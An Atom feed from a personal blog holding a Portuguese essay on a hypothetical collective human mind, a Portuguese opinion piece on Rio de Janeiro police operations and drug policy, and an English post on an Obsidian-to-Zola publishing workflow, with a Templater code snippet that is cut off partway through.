<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<title>biscoito – posts</title>
	<subtitle>hello, welcome to my personal thoughts and ideas.</subtitle>
	<link href="https://biscoito.eu/posts/feed.xml" rel="self" type="application/atom+xml"/>
    <link href="https://biscoito.eu/posts/"/>
	<updated>2026-08-20T09:31:58+00:00</updated>
	<id>https://biscoito.eu/posts/feed.xml</id>
	<entry xml:lang="en">
		<title>mente coletiva</title>
		<published>2026-03-12T00:00:00+00:00</published>
		<updated>2026-03-12T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/mente-coletiva/" type="text/html"/>
		<id>https://biscoito.eu/posts/mente-coletiva/</id>
		<content type="html">&lt;p&gt;outro dia tava eu pensando em fazer um caldo de galinha. osso de pescoço, dorso. e enquanto ficava ali eu comecei a pensar numa coisa meio maluca: e se a humanidade inteira fosse conectada numa mente só?&lt;/p&gt;
&lt;p&gt;todo mundo sentindo o que todo mundo sente. todo mundo sabendo o que todo mundo sabe. parece bonito né. ninguém mais sozinho, ninguém mais incompreendido. o matadouro fecha porque agora você sente a dor do animal. a fome acaba porque a logística se resolve sozinha quando oito bilhões de cérebros trabalham juntos. parece o upgrade definitivo da espécie.&lt;/p&gt;
&lt;p&gt;mas aí eu fui puxando mais o fio.&lt;/p&gt;
&lt;p&gt;pensa no seu relacionamento, o que faz ele significar alguma coisa eh justamente o esforço. eh seu parceiro às duas da manhã tentando achar a palavra certa e errando. é aquele momento de vulnerabilidade quando alguem fala &quot;não sei se você vai entender mas...&quot; e aí a pessoa entende e aquilo eh mágico. na mente coletiva isso n existe. seu parceiro não escolhe te entender. ele simplesmente entende. automaticamente. e quando você tira a escolha você tira o significado inteiro. é tipo a diferença entre alguém te escrever uma carta à mão toda torta e um algoritmo gerar a resposta perfeita. a carta imperfeita é o amor. o algoritmo é só eficiência.&lt;/p&gt;
&lt;p&gt;e eficiência é inimiga do significado.&lt;/p&gt;
&lt;p&gt;vai mais fundo, pensa na política. democracia inteira é construída em cima de pessoas com conhecimento incompleto e experiências diferentes se juntando, discutindo, brigando, cedendo e chegando em algo imperfeito mas que todo mundo ajudou a construir. na mente coletiva pra que representante? pra que debate? a resposta ótima simplesmente aparece. e talvez seja até uma resposta melhor objetivamente. mas ninguém lutou por ela. ninguém sacrificou nada. ninguém cedeu. entao ninguém valoriza.&lt;/p&gt;
&lt;p&gt;eh como a diferença entre construir sua casa com as próprias mãos e ganhar uma de presente. vc cuida da que vc construiu.&lt;/p&gt;
&lt;p&gt;e o conhecimento? hoje em dia a luta de aprender algo te transforma. um estudante de medicina não só memoriza coisa por oito anos. ele vira outra pessoa no processo. o esforço é o ponto. se você pode só acessar o conhecimento de qualquer pessoa instantaneamente você pega a informação mas perde o crescimento. vira uma biblioteca ambulante em vez de uma pessoa.&lt;/p&gt;
&lt;p&gt;o mais bizarro é que isso &lt;strong&gt;não vai acontecer de propósito&lt;/strong&gt;. ninguém vai sentar e planejar uma mente coletiva. vai acontecer do mesmo jeito que aconteceu com o celular. ngm te obrigou a ter um. mas &lt;strong&gt;tenta viver sem&lt;/strong&gt;. tenta arrumar emprego, se localizar numa cidade, manter contato com as pessoas. a &quot;escolha&quot; tecnicamente existe mas na prática não.&lt;/p&gt;
&lt;p&gt;com interface cerebral vai ser igual. começa com medicina. um cara trancado no próprio corpo finalmente consegue se comunicar através de um implante. isso é lindo, ninguém discorda. depois vem conveniência. pra que fazer se a inteligência artificial faz pra você? pra que digitar se vc pode pensar? pra que falar se vc pode transmitir exatamente o que sente? cada passo faz sentido sozinho. cada passo é voluntário. e cada passo te puxa mais pra dentro.&lt;/p&gt;
&lt;p&gt;uma decisão razoável por vez. cada geração achando os limites da anterior antiquados. ate que sair fora pareça sair fora de ser humano.&lt;/p&gt;
&lt;p&gt;e é aí que tá a ironia mais cruel. porque a coisa que realmente nos faz humanos é o atrito. é não saber. é a discussão no jantar antes de alguém poder pesquisar no google. é tentar explicar o que você sente e não conseguir e tentar de novo. é o espaço entre uma pessoa e outra.&lt;/p&gt;
&lt;p&gt;a gente sempre achou que esse espaço era o problema. que se fechasse todas as lacunas, respondesse todas as perguntas, sentisse tudo antes de precisar ser dito, aí sim estaria completo.&lt;/p&gt;
&lt;p&gt;mas o espaço era onde a gente guardava tudo que importava.&lt;/p&gt;
&lt;p&gt;a tentativa de alcançar o outro, essa coisa teimosa, linda e completamente desnecessária, talvez seja a única coisa realmente sagrada que a gente tem.&lt;/p&gt;
&lt;p&gt;e a gente tá abrindo mão dela aos poucos sem nem perceber.&lt;/p&gt;
&lt;p&gt;feito em parceria com quem não sente nada disso.&lt;/p&gt;
&lt;p&gt;gostou? assista: &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.imdb.com/title/tt22202452/&quot;&gt;https://www.imdb.com/title/tt22202452/&lt;/a&gt;&lt;/p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Sobre a última operação no Rio de Janeiro</title>
		<published>2025-10-29T00:00:00+00:00</published>
		<updated>2025-10-29T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/sobre-a-ultima-operacao-no-rio-de-janeiro/" type="text/html"/>
		<id>https://biscoito.eu/posts/sobre-a-ultima-operacao-no-rio-de-janeiro/</id>
		<content type="html">&lt;p&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://youtu.be/nWchoLS-hpw&quot;&gt;https://youtu.be/nWchoLS-hpw&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vamos analisar essa operação de forma fria, olhando apenas para os resultados, sem ideologia.&lt;/p&gt;
&lt;p&gt;Há 40 anos, a estratégia eh a mesma: confronto, ocupação temporária e um saldo de mortos. A pergunta objetiva é: &lt;strong&gt;funcionou?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;O Rio de Janeiro tá mais seguro hoje do que há 20 anos? O poder das facções diminuiu?&lt;/p&gt;
&lt;p&gt;A resposta clara é não. Na verdade, elas estão mais ricas, mais bem armadas e controlam mais territórios do que nunca.&lt;/p&gt;
&lt;p&gt;Isso não é uma opinião, é um fato. Então, se a estratégia falha repetidamente, por que insistimos nela?&lt;/p&gt;
&lt;p&gt;O ponto central é que essa tática de &quot;guerra&quot; atinge apenas a base da pirâmide: &lt;strong&gt;o jovem varejista, que é facilmente substituível&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;É como podar os galhos de uma erva daninha esperando que ela morra. Enquanto isso, a raiz do problema — o fluxo de dinheiro, a lavagem de capital e a entrada de armas pesadas — continua intocada e mais forte.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Isso não é sobre defender bandido.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;É sobre ser mais inteligente e eficaz que ele. O verdadeiro golpe no crime não é com fuzil na favela, é com &lt;strong&gt;inteligência na conta bancária e nas fronteiras&lt;/strong&gt;. É asfixiar a organização financeiramente.&lt;/p&gt;
&lt;p&gt;E aqui chegamos à causa principal que alimenta tudo isso, a Guerra contra às Drogas.&lt;/p&gt;
&lt;p&gt;É a proibição que torna a droga um produto de altíssimo lucro, financiando a compra de fuzis e a corrupção de agentes.&lt;/p&gt;
&lt;p&gt;A &quot;Guerra contra às Drogas&quot; é o modelo de negócio do tráfico. Acabar com ela não significa &quot;liberar geral&quot;, mas sim tirar o poder e o monopólio das mãos do criminoso e trazer para o controle do Estado.&lt;/p&gt;
&lt;p&gt;É tratar o vício como saúde pública (o que é mais barato e eficaz) e cortar o oxigênio financeiro que sustenta essa guerra.&lt;/p&gt;
&lt;p&gt;Continuar com a mesma estratégia de confronto é, na prática, escolher continuar perdendo e garantir que o tráfico permaneça poderoso e lucrativo.&lt;/p&gt;
&lt;p&gt;A questão não é ser &quot;de direita&quot; ou &quot;de esquerda&quot;, é ser a favor de uma estratégia que funcione ou de uma que &lt;strong&gt;comprovadamente falhou&lt;/strong&gt;, e &lt;strong&gt;continua falhando&lt;/strong&gt;.&lt;/p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>My Obsidian -&gt; Zola Blog workflow</title>
		<published>2025-09-11T00:00:00+00:00</published>
		<updated>2025-09-11T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/my-obsidian-zola-blog-workflow/" type="text/html"/>
		<id>https://biscoito.eu/posts/my-obsidian-zola-blog-workflow/</id>
		<content type="html">&lt;h2 id=&quot;abstract&quot;&gt;Abstract&lt;a class=&quot;zola-anchor&quot; href=&quot;#abstract&quot; aria-label=&quot;Anchor link for: abstract&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;It&#39;s been quite a long time since I wanted to have such a straightforward and easy-to-use way of writing blog posts and synchronizing them directly into my &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://biscoito.eu&quot;&gt;website&lt;/a&gt; in a way that favors flexibility and convenience.&lt;/p&gt;
&lt;p&gt;Just recently I decided to finally get this to work and I will show how everything works alongside with everything that&#39;s needed to make it work (it&#39;s all open-source anyway).&lt;/p&gt;
&lt;p&gt;To be more specific and technical, I can basically have Obsidian (synced across all my devices with Obsidian Sync), to sync with my website GitHub repository through a simple commit and push, and to have my website automatically updated with a GitHub workflow that triggers on push, a simple building process for Zola and rsyncing with my VPS running a simple Caddy web-server with docker-compose.&lt;/p&gt;
&lt;h2 id=&quot;why-zola-over-the-competition&quot;&gt;Why Zola Over the Competition&lt;a class=&quot;zola-anchor&quot; href=&quot;#why-zola-over-the-competition&quot; aria-label=&quot;Anchor link for: why-zola-over-the-competition&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Let&#39;s start with the first decision: why did I choose Zola over Hugo, Jekyll, or even 11ty?&lt;/p&gt;
&lt;p&gt;Zola is a simple static site generator that leverages Rust&#39;s powerful ecosystem and performance. The main difference between Zola and other static site generators is that Zola uses a custom and powerful templating engine called Tera, which gives you even more extensibility while keeping things simple.&lt;/p&gt;
&lt;p&gt;Here&#39;s what makes Zola actually compelling:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Performance and Reliability&lt;/strong&gt;: Zola&#39;s built on Rust, which means blazing-fast build times and memory safety. When you&#39;re dealing with hundreds of blog posts, this stuff actually matters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Single Binary&lt;/strong&gt;: Unlike Jekyll with all its Ruby gem dependencies or Hugo&#39;s occasional quirks, Zola ships as a single binary. No missing dependencies, no version conflicts, just works.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Built-in Features&lt;/strong&gt;: Syntax highlighting, Sass compilation, image processing, and multilingual support all come out of the box. You don&#39;t need to hunt for plugins or worry about compatibility.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Content Organization&lt;/strong&gt;: Zola&#39;s approach to content structure just makes sense—sections, pages, and taxonomies work exactly as you&#39;d expect them to.&lt;/p&gt;
&lt;p&gt;I also consider myself a proud Rust enjoyer, working with the language basically every day. Supporting well-structured Rust projects with extensive documentation aligns with what I like, so that&#39;s a bonus.&lt;/p&gt;
&lt;h2 id=&quot;the-philosophy-of-automation-and-llms&quot;&gt;The Philosophy of Automation and LLMs&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-philosophy-of-automation-and-llms&quot; aria-label=&quot;Anchor link for: the-philosophy-of-automation-and-llms&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;I&#39;ve been experimenting extensively with Large Language Models, and I tend to ask them about basically everything that I find can be automated or rapidly implemented rather than &quot;wasting my time&quot; on repetitive research tasks.&lt;/p&gt;
&lt;p&gt;But let me be clear about this &quot;wasting time&quot; concept. There&#39;s this weird false choice people make between &quot;doing it yourself&quot; and &quot;being lazy.&quot; LLMs are basically extremely knowledgeable research assistants who never sleep and have read practically everything on the internet.&lt;/p&gt;
&lt;p&gt;When I say &quot;wasting time,&quot; I&#39;m not saying deep learning is useless. I&#39;m just making a conscious choice about where to spend my brain power. Spending hours manually researching &quot;best static site generator 2024&quot; across dozens of blog posts is like manually copying data when you could write a script to do it in seconds.&lt;/p&gt;
&lt;p&gt;The shift here is pretty significant: we&#39;re moving from information gathering being the bottleneck to information synthesis and decision-making being the valuable skills. LLMs are great at the former but still need human judgment for the latter.&lt;/p&gt;
&lt;p&gt;This does come with some &quot;data uncertainty&quot;—the knowledge that AI-gathered information might have inaccuracies or biases. But honestly, this uncertainty exists in all research methods. At least with LLMs, I can iterate quickly through multiple research angles.&lt;/p&gt;
&lt;h2 id=&quot;the-research-process-and-tool-selection&quot;&gt;The Research Process and Tool Selection&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-research-process-and-tool-selection&quot; aria-label=&quot;Anchor link for: the-research-process-and-tool-selection&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;For this project, I used Google Gemini 2.5 Pro with the &quot;Deep Research&quot; feature, which crawls through web results, analyzes them, and generates comprehensive reports on the gathered data. This drastically improves research speed at the cost of possible &quot;data uncertainty.&quot;&lt;/p&gt;
&lt;p&gt;Gemini recommended Zola, Caddy, and GitHub workflows for my Finland-based Hetzner VPS setup, which worked perfectly for what I needed: simplicity, performance, and easy maintenance.&lt;/p&gt;
&lt;h2 id=&quot;the-complete-technical-setup&quot;&gt;The Complete Technical Setup&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-complete-technical-setup&quot; aria-label=&quot;Anchor link for: the-complete-technical-setup&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;My workflow creates a pretty seamless pipeline from thought to published post. Here&#39;s how each piece fits together:&lt;/p&gt;
&lt;h3 id=&quot;1-content-creation-with-obsidian&quot;&gt;1. Content Creation with Obsidian&lt;a class=&quot;zola-anchor&quot; href=&quot;#1-content-creation-with-obsidian&quot; aria-label=&quot;Anchor link for: 1-content-creation-with-obsidian&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Obsidian serves as my writing environment with two key plugins:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Templater Plugin&lt;/strong&gt;: Creates new blog posts from a template that asks for all the metadata I need:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-3&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-3&quot;&gt; Get the post title and use it to rename the file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; title&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; await&lt;/span&gt;&lt;span&gt; tp&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;prompt&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;Post title&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-3&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-3&quot;&gt; Clean the title to make it filename-safe&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; cleanTitle&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; =&lt;/span&gt;&lt;span&gt; title&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;replace&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;&amp;lt;&amp;gt;:&amp;quot;/&lt;/span&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-5 z-d-b&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;|?*&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;g&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;replace&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;\s&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;g&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;await&lt;/span&gt;&lt;span&gt; tp&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;rename&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;cleanTitle&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;-&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;title&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;lt;% title %&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;description&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;lt;% tp.system.prompt(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;Post&lt;/span&gt;&lt;span&gt; description&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;) %&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;date&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span&gt; tp&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;date&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;now&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;YYYY-MM-DD&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; %&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;updated&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span&gt; tp&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;date&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;now&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;YYYY-MM-DD&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; %&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;draft&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;categories&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;  -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;lt;% tp.system.prompt(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;Primary&lt;/span&gt;&lt;span&gt; category&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;) %&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;tags&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; tags&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; await&lt;/span&gt;&lt;span&gt; tp&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;prompt&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;Tags (comma separated)&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; tagArray&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; =&lt;/span&gt;&lt;span&gt; tags&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;split&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-12&quot;&gt;tag&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; tag&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;trim&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;for&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;let&lt;/span&gt;&lt;span&gt; tag&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; of&lt;/span&gt;&lt;span&gt; tagArray&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;  -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;lt;% tag %&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
